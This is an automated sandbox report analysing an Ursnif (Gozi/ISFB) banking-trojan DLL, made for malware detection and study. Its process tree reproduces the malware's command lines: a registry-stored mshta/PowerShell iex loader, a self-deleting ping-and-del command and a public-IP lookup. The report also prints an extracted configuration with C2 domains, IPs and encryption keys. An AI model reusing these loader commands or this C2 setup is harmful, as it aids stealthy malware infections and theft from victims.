Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
xaj0e933Uv.dll

Overview

General Information

Sample Name:xaj0e933Uv.dll
Analysis ID:620332
MD5:69e570a35f63ea12cbad7a10b25a6ea4
SHA1:f0ca60563eeb9098ad6133daa1fc48c3987437e2
SHA256:3362915be3f3ed1572f4ba757d155608f54a460fd935bfe3f37138cf0fe383b6
Tags:dllgeoGoziISFBITAUrsnif
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 1900 cmdline: loaddll32.exe "C:\Users\user\Desktop\xaj0e933Uv.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 1796 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\xaj0e933Uv.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 5132 cmdline: rundll32.exe "C:\Users\user\Desktop\xaj0e933Uv.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 4084 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 5716 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\xaj0e933Uv.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 5068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 3504 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
            • cmd.exe (PID: 6592 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\ADE6.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
  • mshta.exe (PID: 6548 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Jqlc='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Jqlc).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6644 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name axgpbo -value gp; new-alias -name slctai -value iex; slctai ([System.Text.Encoding]::ASCII.GetString((axgpbo "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6924 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\m5pod5s5\m5pod5s5.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 7040 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5F15.tmp" "c:\Users\user\AppData\Local\Temp\m5pod5s5\CSCDE04DA8616441A6AC3074D39CFFC1D3.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 7144 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\a1gxko15\a1gxko15.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6040 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES73F5.tmp" "c:\Users\user\AppData\Local\Temp\a1gxko15\CSCE08F5B5052974B07835021DDCFF1297.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000003.297325888.00000000055E8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000002.00000002.464317231.000000000526F000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
      00000002.00000003.297834584.00000000055E8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000002.00000003.343634422.0000000005569000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
          00000002.00000003.297429352.00000000055E8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 21 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.3.rundll32.exe.50494a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.3.rundll32.exe.5596b40.1.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.5596b40.1.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.55694a0.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.2.rundll32.exe.3430000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 4 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Snort Signatures

                      Timestamp:05/04/22-16:27:54.122082 05/04/22-16:27:54.122082
                      SID:2033203
                      Source Port:49769
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:27:53.231327 05/04/22-16:27:53.231327
                      SID:2033203
                      Source Port:49769
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:27:53.642851 05/04/22-16:27:53.642851
                      SID:2033203
                      Source Port:49769
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-16:27:33.120656 05/04/22-16:27:33.120656
                      SID:2033203
                      Source Port:49760
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Found malware configuration
                      Source: 00000002.00000002.463561740.0000000003470000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
                      Multi AV Scanner detection for submitted file
                      Source: xaj0e933Uv.dllVirustotal: Detection: 40%Perma Link
                      Source: xaj0e933Uv.dllReversingLabs: Detection: 47%
                      Machine Learning detection for sample
                      Source: xaj0e933Uv.dllJoe Sandbox ML: detected